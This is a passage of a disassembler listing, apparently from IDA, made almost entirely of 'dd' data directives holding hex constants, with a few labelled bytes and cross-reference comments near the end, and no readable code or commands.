dd 0C9E936A4h, 65307918h, 0A5C10038h, 22FF2955h, 8B00B0CBh
dd 20AC759Ah, 13446FEh, 0B906DDE4h, 60CA8366h, 0C839E84Dh
dd 85F08052h, 972FC1E9h, 0D4F50048h, 991747DFh, 5D03CE79h
dd 0E15035C7h, 0E40DA0BBh, 90A900D6h, 2F631F5h, 11E24E9Eh
dd 0CEF96500h, 0A8BC0167h, 987200D7h, 5E7D45C5h, 973CED29h
dd 6CCA008Bh, 0B506895Ah, 589C002Dh, 7A27E031h, 1E0938D4h
dd 7E07DDh, 543D8F6Ch, 27723h, 277897C7h, 0DAEE0F40h, 6280AD00h
dd 55F82552h, 0B9A75C0h, 9B12D61Ch, 108C5D80h, 303C70Dh
dd 65788086h, 0ACF19BE9h, 37996C80h, 1180087h, 22970BD0h
dd 0A900E04Bh, 488EABC7h, 3679F77h, 0C9F0DB3Ch, 0B098B709h
dd 0A7002B6Eh, 0DA8E94E7h, 5DCC3Ah, 257959ECh, 6D7CE19Dh
dd 0A96FAE00h, 6AD03C52h, 3F90B2h, 0F3FDBA5Eh, 0D10D92C8h
dd 6213D800h, 0FF7F6ADh, 552C00C1h, 1E34D779h, 22001AE7h
dd 6DE91DB0h, 0C42F86h, 65A86CABh, 1E570CDEh, 98D98230h
dd 1CAA9E9Dh, 0B56FEAh, 0F299356Ah, 78012697h, 9867CDC4h
dd 57D04BEEh, 0B4AE00EDh, 0A4AAA28Dh, 0F0748B33h, 0E87D2224h
dd 0B7E4CA00h, 34B47Fh, 0DF1A1D70h, 2636C62Ah, 58074500h
dd 3138E7A6h, 5AF13C91h, 0B5E00FFh, 0A80DD0ABh, 22054B23h
dd 86299E9Ah, 0E488C616h, 445F00CCh, 0A7FE832Bh, 6A58664Ch
dd 98CD0130h, 93E27F0h, 0B51AE8h, 2A941C82h, 9F078FF4h
dd 81006D7Dh, 253D1B92h, 0F6B4F258h, 286817CEh, 0E1470198h
dd 0D853BD0Ah, 0EE2CB569h, 34053026h, 0E4C00C17h, 0F834EE8h
dd 0D7748C30h, 0FB9CFE0h, 0A900D8EBh, 823F1A92h, 785045E9h
dd 5B6B00BDh, 9969152Eh, 0AD0F2C01h, 40948052h, 936D08F9h
dd 41030488h, 0C0B504C3h, 0FF963EA4h, 0BA244200h, 0E5DEC4F2h
dd 588412F5h, 0D6CC0065h, 50134892h, 0EA1148h, 66C8B97Fh
dd 0E4B2AEBBh, 0AAFB0ACEh, 1CE5A958h, 0D84505E4h, 0FA34F073h
dd 0FCDED500h, 0D3CB7E58h, 0E9B500CCh, 678E8335h, 3700F938h
dd 0BC2C9D6Dh, 25E591C0h, 38C07DC3h, 4D00A3AEh, 767CF5C5h
dd 7AF0696Eh, 1DEC0FEAh, 0FD611E4Fh, 70C9667Fh, 0C40398D0h
dd 330A8AF1h, 0ABBFE867h, 367600DCh, 0A9E75120h, 5F09C916h
dd 52BBC8DEh, 9D0302E8h, 1577A814h, 87EEF3C0h, 5089FF02h
dd 0E0DE0BC0h, 2CCC51D0h, 80E84FE6h, 80E51754h, 2F00EE66h
dd 0E796DAF6h, 0F18691h, 633FAFAEh, 0D6A06404h, 0CD4DB02h
dd 602F7285h, 1CF2A4h, 0E8188610h, 30018217h, 85BA18CFh
dd 30C2B944h, 91202E85h, 3C257597h, 0B7900B00h, 0DD6ADB87h
dd 0D814496Bh, 7B4B017Fh, 0AD58E58Dh, 0DE57C855h, 6909600Fh
dd 80A4CB81h, 0D82D11D0h, 0A860049h, 7CF70207h, 0B6B84478h
dd 76F3F5Ch, 1B58D1F6h, 4CBA5653h, 5400286Ch, 0C1864B55h
dd 3A0AC2C7h, 0FA373F35h, 24ACB000h, 252A23h, 161896DFh
dd 8DAF5F88h, 26693F4Ch, 9D003804h, 103D2A7Eh, 35CB0CE5h
dd 0E6F092CDh, 8622701h, 7F6939EFh, 9F445FCh, 6285711h
dd 40C3BE80h, 52503470h, 0CA0FC2A8h, 204D4BE9h, 0CB3CEBA3h
dd 841D4C5Ah, 0E0A42402h, 0A476907Bh, 2E2C1400h, 1F2DBDh
dd 0C546280Ah, 0FBA0685Eh, 12A5391Fh, 7BA430C2h, 0BF0A60C2h
dd 56863DF7h, 14857580h, 71740AC0h, 0E37A0106h, 11D94Eh
dd 0C7755FF1h, 0A3776231h, 87240825h, 0A0F0E3B8h, 0F1551095h
dd 8804DC28h, 0A07D0C9Dh, 90503984h, 0F400388Ch, 0D273A69Eh
dd 0EB5750Fh, 53D461F0h, 0A27EFE80h, 40C08AF9h, 1E1357E6h
dd 653E0495h, 0F05DBDF2h, 1731DD9Ch, 0FC15596Ah, 0D42CF8h
dd 56F51BAEh, 6BAFE211h, 2B6A63Ch, 18230F65h, 98046325h
dd 545CC1h, 0D253C47Dh, 0AC71783Ch, 15682C00h, 560D751Ah
dd 0C80402FFh, 0BACB1FCFh, 9700D874h, 0FBC6EA85h, 0D1B10061h
dd 0FF8276B8h, 0B90339E4h, 0CCACB2A9h, 7356A8F8h, 0D54701BAh
dd 80F90C55h, 0D83ACC6Dh, 70E9CD00h, 97EFDA14h, 0EBE7AB5h
dd 0BA4A7F1Ch, 9B761B40h, 2300B401h, 0FAFCB8Bh, 0CFA9103h
dd 42649D8Ch, 0AD1E4F30h, 89C14ED6h, 7179A21Ch, 1D45DDCCh
dd 0C03F1793h, 0D09DB51Eh, 4E00DE7Dh, 0D24A2F61h, 7069A549h
dd 769A09D4h, 0DE809D1Bh, 37A74F01h, 8118A01h, 0C3DC98C7h
dd 31B6864h, 2D2EC0CFh, 9BA82C46h, 4500A69Ch, 0ED95A99Dh
dd 1C06F3C3h, 85B6276Ch, 87FB9BEFh, 0B991E074h, 0EE00F4EAh
dd 77686EEBh, 13F72E3h, 9BD2675Ch, 0E03743F9h, 41E4558Dh
dd 0E88F017h, 6F04C700h, 5E573Ah, 0F4BCC63h, 0A47D053h
dd 83879103h, 0E8FC057Eh, 38575F59h, 0C580CA94h, 90C3D815h
dd 212E32E8h, 5100C4EDh, 4481F842h, 0C8361EDFh, 35928F8Dh
dd 250F0B80h, 0E87140E2h, 8637D800h, 8415B724h, 30A858DBh
dd 3EB9F70Bh, 456CD80h, 0B61607DFh, 4100E163h, 6BC7F80Fh
dd 0F961007Eh, 139135A5h, 5B00F052h, 6878243Dh, 77712BFh
dd 0C15E1DDAh, 0F5FF6090h, 1E09A1C5h, 78F3BCD4h, 0E97A004Ch
dd 465BD1B5h, 0B70F6C0Fh, 0A10774A3h, 0CEAD0D60h, 0F25436FCh
dd 59BB092Fh, 6A87C713h, 0EA5E804Ah, 0E5022A47h, 5876A7D2h
dd 5A204044h, 0AED9006Dh, 354E3B87h, 36787989h, 0FCD4D600h
dd 7F345A8Bh
dd 0A52A07CBh, 2543A49Dh, 47DD0009h, 9386D915h, 0D36FF800h
dd 8F990EA7h, 520A005Eh, 6136B44Dh, 25004AC9h, 20B6292Eh
dd 0E713BEh, 24DA854Fh, 0D8D63C89h, 64B70200h, 587E36D5h
dd 0A6E100C2h, 1766393h, 6F00C8F8h, 9A30EE91h, 0A7E54Fh
dd 7EE95A11h, 0E8122251h, 5384532Eh, 655FC500h, 2673E474h
dd 155D40h, 4233FB9Dh, 0B1006D12h, 0EB719250h, 0AFD202h
dd 294C7DE2h, 83959F5Eh, 5F822801h, 0C66BD045h, 13805DCEh
dd 18C30A07h, 80F57C3Fh, 957B0319h, 396764h, 0BE0204D2h
dd 0EC076B9Eh, 4441AB03h, 0BFA8C470h, 10478260h, 0D5B00F2h
dd 2B7D4BCh, 5F3EC00Ch, 6CBB802Ch, 2BEB37F3h, 6F50171Eh
dd 403E0ED2h, 66818B62h, 0CB9C9868h, 3EF49A03h, 0C32C3DD3h
dd 0FA8FE14Bh, 0E410BE4h, 58A83463h, 0C0002369h, 0E5F244B0h
dd 2A18B7F8h, 3719ADDAh, 1C0B8C6h, 84362E3Ah, 78651B33h
dd 51610F30h, 57DC8079h, 787ECA4h, 0AC5DDF78h, 0FA03F52h
dd 4050E6AAh, 8DBC4903h, 0E4CAE7FFh, 8900A0A8h, 58F127A7h
dd 0AB4C95C7h, 0CC0F0E64h, 0B25D40FEh, 747125C6h, 956400BBh
dd 61588DF1h, 8003F30h, 0D879B065h, 8760E5h, 6FA7579Ah
dd 0D2BA7634h, 9E2DEE26h, 0C06B1100h, 0E68944h, 3C90B662h
dd 0B3052253h, 0BD6C701h, 26793B03h, 6F2EF3F4h, 0D1E0D864h
dd 4176DFA8h, 0EAD25E0Bh, 2B3440BAh, 0C07648h, 0CA3901A5h
dd 90DDF2D3h, 0D76D2A05h, 83C4A107h, 0FCC154F0h, 17414C8Bh
dd 60B617h, 0C3CC6C38h, 0C4581F81h, 0D2007340h, 29A81848h
dd 5B80F8E3h, 2448C063h, 47265814h, 0CF0494F6h, 0CC03850h
dd 3C8EB68Ah, 5600CA09h, 0F5C89B12h, 0E2043EA1h, 0A760C636h
dd 0A226D8C1h, 98997CE4h, 1F1E685h, 4D7D63DFh, 60E4E864h
dd 0D9009CB4h, 0F35E5660h, 70E34F9Fh, 0DD7E14h, 0FC5362Ah
dd 77DCB53Dh, 0C8217C00h, 3A56CB6Eh, 0CC4001E1h, 42B758AFh
dd 0B6F42026h, 0A2459901h, 95738E2Dh, 7C854F8h, 3ECACF0Dh
dd 0B743E083h, 2BE6BBFCh, 0B01D621Fh, 80F8B83Ch, 0A8BAAF09h
dd 0FB6CB4h, 7C2A498Dh, 1183BF05h, 0F393EE01h, 6809627Eh
dd 59CCC1C9h, 58FCD3h, 76FEB11Ah, 3ECDBB93h, 69059D00h
dd 12627444h, 0A41500A9h, 180D851Ah, 0BCFC86B1h, 0CDAC6B01h
dd 12E2A645h, 0EDF9CC0h, 4C1BEC60h, 0BDE91820h, 2E007ED0h
dd 0F4F738BFh, 76AB317Ch, 76870FBAh, 9B8027ADh, 4356670Ch
dd 581AE800h, 3E9C1517h, 98F2008Fh, 41E2C29Fh, 3A3842CCh
dd 0F197811Dh, 1051B064h, 20DDECh, 6CE2EEA0h, 549D3F39h
dd 5FB758h, 55A1191Bh, 9290CFh, 0C5D947EDh, 7EF028D7h
dd 7800E2B8h, 0F8FBCE75h, 7D2E8FCAh, 0CBE00085h, 5A0E8B50h
dd 0F00FD29h, 0C85C88B7h, 648EBBh, 89D55ED0h, 0ED56A5BAh
dd 6146090Eh, 0DE7BE01Ch, 38EA1E65h, 6808DB9h, 0A2911645h
dd 0A6000EA3h, 41CE4459h, 0AF25D4h, 0EE8EFC01h, 1AEF405Eh
dd 0F40E55B8h, 0D88AF8h, 0CAB5134Fh, 877C95h, 0E93D2C64h
dd 3CD433B8h, 1B0AA900h, 94D54C42h, 0C4FB5C29h, 9CB9BB03h
dd 9FCB9708h, 950577E0h, 0C3E85900h, 7A7CC068h, 80C2035Dh
dd 89BE067Eh, 0FE2A2DF0h, 0C89ACD00h, 28F666B5h, 5DC70016h
dd 0AA74C3C9h, 1C387E57h, 9DEE00D0h, 0B51DA4CCh, 686F01DBh
dd 0A0AEB9F2h, 201821EBh, 0A2985ED1h, 0F55C9900h, 8C4E1347h
dd 6679CFh, 0DADE162h, 64D732FFh, 0A8ACEF00h, 1E20611Ch
dd 96D60391h, 0A4D0894h, 83C07B98h, 0B5F37F03h, 0C81E72B1h
dd 93EB07h, 0B607CF1h, 80D9F66Ah, 3F69DE00h, 1178D6E2h
dd 409D1D3Ch, 0A9428084h, 0DC1DB23Bh, 520C8EE0h, 119264F2h
dd 0F2100EDh, 0DBF50CABh, 7000E57Ah, 8693311Ah, 48EDFF6Ch
dd 5900A8C4h, 0AD7534B2h, 0AF004353h, 164A56EAh, 0E758ECh
dd 55CA6BC2h, 29682B11h, 0BFAE2600h, 0D019B528h, 0FC520076h
dd 0C62AF959h, 0D700217Dh, 0C16B4D01h, 0C54275h, 4B3605E2h
dd 50FE0A4Fh, 0A51F7800h, 0E9277268h, 0C38C000Dh, 0DB645A5Fh
dd 743035B3h, 0EBB030E2h, 1F1B00FEh, 0A6CD4449h, 0E800232Eh
dd 0FBC4159Bh, 68B0A8h, 667B1034h, 593B3206h, 1F972C00h
dd 5324F314h, 0C3E70090h, 1DE16F6Bh, 650163F4h, 0DC33223Fh
dd 80F384CBh, 5098BC0Ch, 7CD858h, 2FD2264Ah, 0C73662CFh
dd 2AEA0D06h, 0B92D1Fh, 42A4F18Eh, 7F519DE6h, 0B01C6C00h
dd 4DABCFE2h, 80AC00E1h, 0C5156654h, 6A607730h, 56EC7559h
dd 91C2003Bh, 3586338Eh, 6D144DA1h, 0CE477C3h, 21088A1Fh
dd 70C10C6Eh, 5A11D4BBh, 0C9F42607h, 6FB56CDBh, 71864000h
dd 78E7B521h, 1283ECCDh, 2CF03C31h, 1400460Ch, 5AAAFCEAh
dd 2407CABh, 78B043CAh, 0D861B4F3h, 2847E6D7h, 15FB5300h
dd 7CEC9DE1h, 480100D7h, 8419E4A5h, 0A0C0260Eh, 4DC5BB68h
dd 0DC2B0021h, 0EC90A51Eh, 951CF597h, 9E413754h, 0DB81BD30h
dd 0D9A8C0h, 0EFDEA3C4h, 0A7299D72h, 17636500h, 0C628764h
dd 0C90A0369h, 0FE1D4550h, 366807DCh, 0B0EC0FA2h, 8F99C8h
dd 0F6BD6312h, 0DAFF04F4h, 4D402A00h, 0E82EF11Bh, 0B37C0F71h
dd 8E20886Ah, 42EEA62Dh, 0B2E00E00h, 63683FC4h, 4F21017Bh
dd 0D2233702h, 844F3Eh, 0C6C90CF9h, 42164Fh, 0CCABAEF5h
dd 4EC05471h, 0A329E105h, 2FC0057Ah, 0E2F61416h, 5E911FC1h
dd 0F985008Fh, 0CA53DAE4h, 0EF90BE00h, 84289D3Bh, 8A732Bh
dd 0F80CD723h, 98B8E8A7h, 0E720EE60h, 3A2E6D3Ch, 0CF854696h
dd 1D6512C0h, 64475C88h, 0C4C8010h, 7BBB7E08h, 1B027901h
dd 8463DBDEh, 12E82E8h, 71EA2B8Bh, 24F5B227h, 5000EFC8h
dd 4DD538ACh, 1EC3D41h, 0A101DB25h, 30A7280Bh, 0E0048E14h
dd 225A087Ch, 0F2B56480h, 584E7A26h, 1D02A669h, 4983EACh
dd 6F32C0C0h, 0B72E3301h, 410D76D7h, 2675DE0h, 5481B6DEh
dd 0E8605623h, 972CB7C3h, 2100644Eh, 0EC290C84h, 5F78E9h
dd 98E35B5Dh, 26143E6Bh, 7DA57400h, 847ABFE1h, 0ADC95CB8h
dd 0DB563F00h, 0D673A2DDh, 97384D00h, 0C6395066h, 0C42948A1h
dd 42557F1Ch, 0F09F4EBCh, 6DA938C0h, 0B7610D00h, 0B2F335A2h
dd 0D0EE0319h, 3677D77Ah, 0A8D62AB8h, 0D2907E00h, 70B159AEh
dd 15F5006Ch, 8250C110h, 2007A6Fh, 0B63FE8C5h, 749D85AAh
dd 99FB58BBh, 0CDD21201h, 0DC458641h, 445C5240h, 2707924h
dd 757AB600h, 35E18351h, 0C69805C5h, 73443Dh, 630660E8h
dd 793AD2EFh, 0F04783D8h, 0D8BEDB4Fh, 17314DC2h, 0C63ADDh
dd 0ECF12DA0h, 6615A55Fh, 0F8D662h, 4F53944Eh, 13B4FAC3h
dd 0EB3A647h, 0DFA1F0h, 9607AA02h, 0B100F01Fh, 0F1DE0A38h
dd 12B6EB7Eh, 9BA3ABh, 63811DDCh, 8400CD74h, 7729892Ch
dd 1D276BCh, 3A7275A1h, 0D8B09FC1h, 1C9AABDCh, 0F9C0B343h
dd 0B634A213h, 100A48h, 464A894Ch, 177DEFCFh, 5EDDD10h
dd 8027624Ch, 51AA98C7h, 0F2F52101h, 7B6995C5h, 18180330h
dd 0ACE8384Ah, 5FE05579h, 4600BFE0h, 0BE1280FEh, 2EC47F6h
dd 2D02426h, 0DE008A9h, 1D197D1Eh, 9E99688Dh, 19F0770h
dd 0B70517E9h, 7035BCE8h, 9300AD91h, 0F8493763h, 0F06B44A9h
dd 0BC7E009Eh, 3DB452B6h, 0E7E42284h, 0B247A700h, 8E90F7E0h
dd 9AE80196h, 82D2A55Bh, 0ED59D0B1h, 0DFAABD00h, 0B6F6B942h
dd 162B01B4h, 0BFAB6F36h, 1BBED86Ch, 0F107C6F2h, 0C95EE80Eh
dd 0A5E42019h, 193BDF0h
dd 0B04E9EFFh, 0FF2BD65Ah, 2AC090D4h, 4F0020F3h, 125EE78Ch
dd 30E23347h, 0CC41622Ch, 34006797h, 9B045466h, 48A707h
dd 71E7AC6Fh, 8B605291h, 1373B903h, 9A2CF56Ah, 1674C4B1h
dd 34F2CF9Dh, 864EC09Ch, 77066582h, 0B766D526h, 58CA0519h
dd 1C01EBh, 0A2023EACh, 5A1EC151h, 0AF8C2E56h, 0B83DB021h
dd 736F00CCh, 0DE9C4131h, 3C90FC82h, 894F9F02h, 80385D74h
dd 6222F590h, 0BBC803CFh, 297DFB43h, 6254C7B4h, 0FCC07335h
dd 0AF01C290h, 1D1E4D8Bh, 0C62651Bh, 0D706C701h, 616ABCAAh
dd 712824B5h, 0B420920Ch, 1606A93Ah, 76FD69CAh, 98995A20h
dd 0FCEB17C1h, 0D68FF6F4h, 80801C79h, 0A414A9CFh, 0B0583AB8h
dd 0E4E78AA8h, 2FA7F7E0h, 0C30BA08h, 8C61CF68h, 0B324FD60h
dd 92126A78h, 4D20A040h, 0C079C56Fh, 8C2D8488h, 4C609E2Bh
dd 76B3F6B9h, 1CFB4872h, 0C070F22Ch, 0A7607A0Ah, 9BD0B8A8h
dd 0A3C6A4Ch, 2C1CB101h, 72EB2CE0h, 80055447h, 871000C1h
dd 0A8185C4h, 5D2BCA2Ah, 2508302Bh, 0F30D0420h, 0D8ACC026h
dd 0D5035DF0h, 255A784Fh, 0C848A3A8h, 17A096h, 86101454h
dd 0CBC9E15Eh, 88435314h, 0D8A12E40h, 0EDB05A00h, 2C30A7A9h
dd 13D4DF50h, 0C35800E3h, 0D4892788h, 0B4D94A00h, 0AF58B95Ch
dd 3787D1Ah, 0E4FE86AEh, 31007677h, 7AFF31A4h, 3EF167ADh
dd 17860ACFh, 20F26A86h, 0B05FA807h, 5DF0FDAEh, 9D3C4Dh
dd 0D2A2C663h, 0D0F76FBFh, 0B8AEEE05h, 0D8D031FBh, 0A830B9EAh
dd 96635C0h, 4078ED52h, 1326C425h, 1D303184h, 0CEFC09DCh
dd 0A0D658A5h, 288B2Ch, 473C8E7Ch, 180396BEh, 4356F192h
dd 2DE7F09Bh, 13B40A09h, 8C90829Fh, 62F8D28Ah, 79C18B00h
dd 2081F959h, 0FAE20F78h, 1080503Eh, 0E6B50163h, 0A4A0D17Eh
dd 210EADAFh, 0DF262966h, 915CCAC2h, 0B77CC099h, 1892000Fh
dd 144B3382h, 5A03BB4Fh, 3471A0BCh, 7BA0CF31h, 0E5600156h
dd 2C1B2C70h, 6C4615h, 2048D16Eh, 0C900849Ah, 66F19717h
dd 26F32478h, 0F38C4C6h, 0CFCF793Bh, 0AEE26A60h, 2C507F0Eh
dd 2D006F94h, 9FE19C28h, 56119Dh, 0CD881517h, 40FB8789h
dd 73070470h, 9DF23235h, 1400DB9Ah, 8AE0FD71h, 59750EEAh
dd 0BFA05E01h, 0AF95662h, 4C0E0A0h, 0A7DCF848h, 96BD3AF0h
dd 343F01B6h, 0A3D42817h, 1643C477h, 0FCE34Ch, 9619710h
dd 24BEABD9h, 4868FBh, 0D5982126h, 1B029296h, 7BF3F834h
dd 72BCE09Ch, 4BB90552h, 80DBCFA2h, 83F16224h, 0D6116A60h
dd 2E9399Ah, 2B562438h, 0C849B464h, 9832C5h, 8B91CB69h
dd 58C2AD19h, 8807880Dh, 30A4ED4Ch, 0C01834A9h, 30E1D58h
dd 0FC69DB41h, 0FD9C80D1h, 0A3E301F7h, 5CF2FED4h, 64DC2035h
dd 3B51C71Ch, 2129A200h, 0A30F74h, 0A446BC42h, 482B71FDh
dd 0DF26CBE2h, 4500A4E9h, 0B3C9180h, 68DE0DE1h, 4818EA4Ah
dd 34002840h, 9B0D7AECh, 4057B58h, 7E2BA9D1h, 0A6E080C1h
dd 0F67008DAh, 0D2808800h, 3E572571h, 54E35C0Fh, 849616h
dd 0ADB98CCCh, 0B5074B78h, 9F77A5A9h, 617F1B30h, 4ECE873h
dd 0FECD2DC0h, 0D518E0EFh, 48233888h, 1F00D82Ch, 0DAA9CDF6h
dd 0E14B75C5h, 1A5907Ch, 643682E3h, 2F990252h, 13410EB0h
dd 2950161h, 3F1FD268h, 0B501B85Ah, 17B81337h, 0EC304AB7h
dd 0AB230028h, 86DF4E6Eh, 0BA39DEE4h, 9432CB8Dh, 29BC18C2h
dd 0FEF83507h, 13D1B19Ch, 31706B02h, 3DD11D3Ah, 87088C09h
dd 7407A9A1h, 0D8291741h, 2C61F6A1h, 0F569D480h, 0E7B37693h
dd 4E0170B1h, 9698DA9Dh, 0C0EAB289h, 0A76CD840h, 0CACD0C04h
dd 0CCC04752h, 3786032Bh, 200624h, 17C84C3Bh, 0D61F8CB2h
dd 0F4661925h, 75EE8B80h, 7122F36Bh, 4FCB0051h, 0DC7B3ED9h
dd 552CD2C0h, 0EB019C9Dh, 0A426DE6h, 9BA3987h, 2678FBDh
dd 28D6B6ABh, 6346C418h, 3004C999h, 8A312F20h, 4F0B74EDh
dd 0A257F6AFh, 25C18108h, 7A30CCE2h, 9DC7049h, 0C46196D2h
dd 17DA0004h, 7F5FD6DBh, 0AC9CB31Eh, 62507C00h, 7FA57B8h
dd 824B9C26h, 0DE0FB1EEh, 6AC42021h, 61CE2E17h, 33402800h
dd 1C233995h, 0C6BA5BB4h, 89BEC864h, 24F37503h, 573DBE7h
dd 93B04DB9h, 0DD4C20D0h, 43064786h, 77A0AEBAh, 16009E28h
dd 0D6F8389Bh, 4979AE00h, 4722F1Dh, 420B2E9h, 0CE1E235Fh
dd 674E239h, 7AC9D2C4h, 91B90A90h, 9FA89713h, 5DDA0B8Eh
dd 7E247064h, 602CC875h, 0DC345802h, 20114039h, 0B53E3AD8h
dd 6A7216h, 87E3CF8Ch, 770008E1h, 0ED4D89D2h, 3CAD50A8h
dd 8502C238h, 9047A713h, 7ABE000Eh, 3F210178h, 811ACD1Ch
dd 0AF404836h, 6E2C9566h, 99088C8Ch, 0D2889349h, 0B050753Ch
dd 3863DD0Ah, 0CB87A413h, 3B146F9Bh, 0A1F334C0h, 5D7D0051h
dd 0E0CDFA29h, 0A22C3E8Eh, 4F90A406h, 0B717D887h, 0C88D93D6h
dd 3C669388h, 0E00D3900h, 514C7B4h, 6F6E273h, 47F55DE2h
dd 5700A422h, 1CA434DBh, 0B09B3EB0h, 0CE0A0078h, 874AD3C8h
dd 0E9074049h, 99DE4348h, 0A26CBBC0h, 1476004Fh, 2D92F47Fh
dd 0CD037A93h, 3C501F6Bh, 0AFC4D0D7h, 35CA138Ch, 15E20136h
dd 206C708Dh, 0DA0334ACh, 4DA6C337h, 0C41BA8ACh, 92AF3D23h
dd 5219680h, 0FA9A0EB1h, 0C5011E00h, 3B7934C0h, 0EFAA3F36h
dd 4023AF13h, 88CE9738h, 0AC50D21Bh, 130E6DC8h, 0AA031Fh
dd 0B19FBCBFh, 18ACB0F3h, 783276D7h, 6A0725D8h, 234F8024h
dd 3DC2EF10h, 77091F0Dh, 0E1D74087h, 5DE61E68h, 7513B0F8h
dd 5C40AC88h, 5B714D5Fh, 0B16500BDh, 0AE49607Eh, 0F488568h
dd 7FBB0054h, 0B4831879h, 60B8B6h, 540D5D0Ah, 86B1B73Ah
dd 0BF1A5900h, 43CCF1E8h, 919700D8h, 0F204D242h, 9F1FBDA2h
dd 8E005AEFh, 0D08836DEh, 0D62A00F5h, 59D1D413h, 249260ECh
dd 0C570DB48h, 888035EDh, 7AC63773h, 0D1DD074Fh, 70B02944h
dd 657948B8h, 0ED7CBCE0h, 8903E8B0h, 5141D637h, 1D980096h
dd 0C2037A70h, 0AB0134FBh, 0DF4BF49Fh, 0E47056A2h, 0E758B76Dh
dd 0C874D500h, 0C1D82F5Ch, 0E688908Bh, 81CD24D9h, 9A378060h
dd 7D0DF622h, 4BAABF01h, 946DBDD5h, 179F70D4h, 7B48821h
dd 0F0DFA4E0h, 0B6381EBh, 2E90D400h, 0CEF6EC02h, 4CB20FFFh
dd 45875D51h, 0EEB91036h, 880040B6h, 0CDE0ABF8h, 0E26157Eh
dd 57980FADh, 3844403Eh, 0E9495C2Bh, 8811AE00h, 0F78084C5h
dd 585100CFh, 0D483A0DBh, 3401740Fh, 77D8B82Fh, 0A3D487CBh
dd 8C540680h, 0D6E584EBh, 0FC6B1828h, 8F0032F4h, 4A4FF1Ah
dd 0BC1C7390h, 0EE8E0034h, 66095D79h, 0B752F200h, 8C191D59h
dd 2F927FD1h, 54274702h, 26EF307Fh, 7A2473E1h, 0C50458ABh
dd 2CF0776Bh, 85F00A8h, 0E07CF367h, 0A226C738h, 600364Ah
dd 0A148F090h, 619403BAh, 7F184011h, 304CDCA1h, 0CF0164DCh
dd 4582F681h, 7D4141Ch, 0DF6E126Ah, 0C5D501D5h, 705195B9h
dd 8E1B2BFCh, 0C2480E16h, 0C1126079h, 9C9E00DEh, 0EE2FB451h
dd 6094952h, 181258Eh, 0B5CA9A7Ch, 73D0DFCh, 0B482C62Bh
dd 27F960A1h, 6C77B115h, 61288C03h, 0D853804Fh, 1C9F824h
dd 406D9A9Dh, 3BE71316h, 94C7AF0h, 4F108217h, 9A669481h
dd 223860B5h, 707C9504h, 248044DFh, 26C73DDAh, 0BFC5FCCh
dd 14004B59h, 0FA726815h, 0DF3CBD70h, 81FD3D57h, 558163F1h
dd 9DECD8C5h, 31AE0735h, 0A3A19A23h, 0A28FB3D0h, 888048BEh
dd 0EB4330F6h, 0CF91BB00h
dd 6A7C0BC6h, 8C2C0960h, 0B00026C3h, 57E4E92Bh, 595B9D00h
dd 0D0D312CDh, 90894A44h, 2FBBBFACh, 0AE6DF109h, 0CC505Ah
dd 9CB92DD0h, 1531A647h, 821ABD3Ah, 3D121E7Bh, 84C08105h
dd 2430BCC8h, 323E00C7h, 0AABED063h, 2200769Ah, 95DE207Fh
dd 0B8E856ACh, 0BB58002Ch, 1C1E5D44h, 0F0503FD0h, 5FB0DCD0h
dd 0D0805528h, 859A6A1Dh, 0FB0DDD40h, 76845296h, 0F7C90771h
dd 703C80E4h, 5F30F85Dh, 8023503Dh, 6D99C7F4h, 103E6Ah
dd 86B6E3E6h, 0E81D575Ah, 405122h, 90856A36h, 0ED5DACC1h
dd 0BB0A1E00h, 6C07B7D5h, 0FF701213h, 91BC0188h, 0E4D10F99h
dd 6071BC4h, 0DBD3849Eh, 3E21803Fh, 1481F9FEh, 0F068FA52h
dd 0BD28D00h, 0FF8B8FD0h, 44438h, 5C60A188h, 2C2DABD3h
dd 0E8F67Ch, 72D275CDh, 0AC78E831h, 0F0019F12h, 80C6DD09h
dd 0B0C17CF0h, 3E930047h, 0DEFC3D9Dh, 1C006CF2h, 66D188EAh
dd 4CD9C2EEh, 9F024876h, 0B4118116h, 0B05D7C60h, 92003190h
dd 0E48A132h, 0BEF8FCh, 0F528568Bh, 0A9221729h, 9A944B02h
dd 0FD6E834Eh, 0AC09EAE0h, 4DAAB83Dh, 889921C8h, 27001CA1h
dd 2CA3A7E4h, 301EE45h, 5EF04FE3h, 681C1C8Bh, 0DA80327Bh
dd 2AF6672Bh, 0CB7727Ah, 0EA91FE76h, 9D098059h, 0A06EE0ECh
dd 35AD4AB0h, 0E120752h, 0D072AF96h, 0CBD010F7h, 3B7F4200h
dd 0F976C239h, 1E88BAB1h, 8022B67Bh, 0D6EBBA2Ah, 6C24E572h
dd 0A716A8C6h, 18C080D5h, 698A01Eh, 4069E70Fh, 0EC0C4002h
dd 0FE59C3CDh, 80A260B9h, 0B4AF6FEDh, 650338B8h, 3169DA0h
dd 42EB8871h, 6D8F0099h, 0B0533FE1h, 0EE001D65h, 2C73EC8Bh
dd 136E93h, 0E2B2E6Bh, 796D821Fh, 0C747F40Eh, 0A1CE2202h
dd 3D28606Eh, 7C0097D4h, 0A884B85Bh, 7B20100h, 93C7DE3Ah
dd 0A590A0DAh, 44470073h, 0B9BBE718h, 33005D8Ch, 0A6D10430h
dd 4A76A3h, 386C1B1Eh, 0CD324611h, 0A7BC8900h, 2133FF43h
dd 0A97800BDh, 0ADE3094h, 913F1D8Dh, 23078053h, 0F4204CA0h
dd 94C400F1h, 9E116568h, 707C8351h, 2DA75A00h, 0BEF31BCCh
dd 7462048Eh, 0A00FDD23h, 0FC04385Ch, 1B200E9Bh, 6EAA0881h
dd 926C7EF8h, 29E200h, 22B5E110h, 83267AC3h, 0BADB2339h
dd 0F04280E3h, 7F019746h, 0DD861235h, 5814443Ch, 0B900A030h
dd 0F01C4C16h, 517D2200h, 50A7C263h, 0B22DC09h, 96B327CAh
dd 8E3BEC80h, 3718B5DDh, 0BA200172h, 48117EF5h, 83162C74h
dd 8DF301E6h, 6CF21AA3h, 3182150h, 19CA2391h, 3A761000h
dd 0FA164CDAh, 0C050F7Bh, 0E3475ED0h, 0D9F7903Bh, 4A079AECh
dd 0D35D6176h, 0C7B73E50h, 16A209DCh, 5048F07Ah, 0AC00FD4Eh
db 40h
byte_504341 db 75h, 61h, 0FCh ; DATA XREF: ___:off_434D0Co
aAT db '·íØtµ',0
dw 5801h
db 0BDh, 4Ch, 7Ah
byte_50434F db 0F2h ; DATA XREF: ___:off_434D08o
dd 0C4B06754h, 53F65001h, 0C869C2DFh, 1EE037D4h, 0C0AECB3Fh
dd 0CD213DB2h, 1600B62Ah, 0DCE11DFBh, 4C56954Fh, 0CE03F252h
dd 43843FCBh, 0A4EAB398h, 0A7B63714h, 7C913BC3h, 0BAE0204h
dd 0C4C07A97h, 98FEA0Dh, 75E28EEFh, 60F69401h, 582C31h
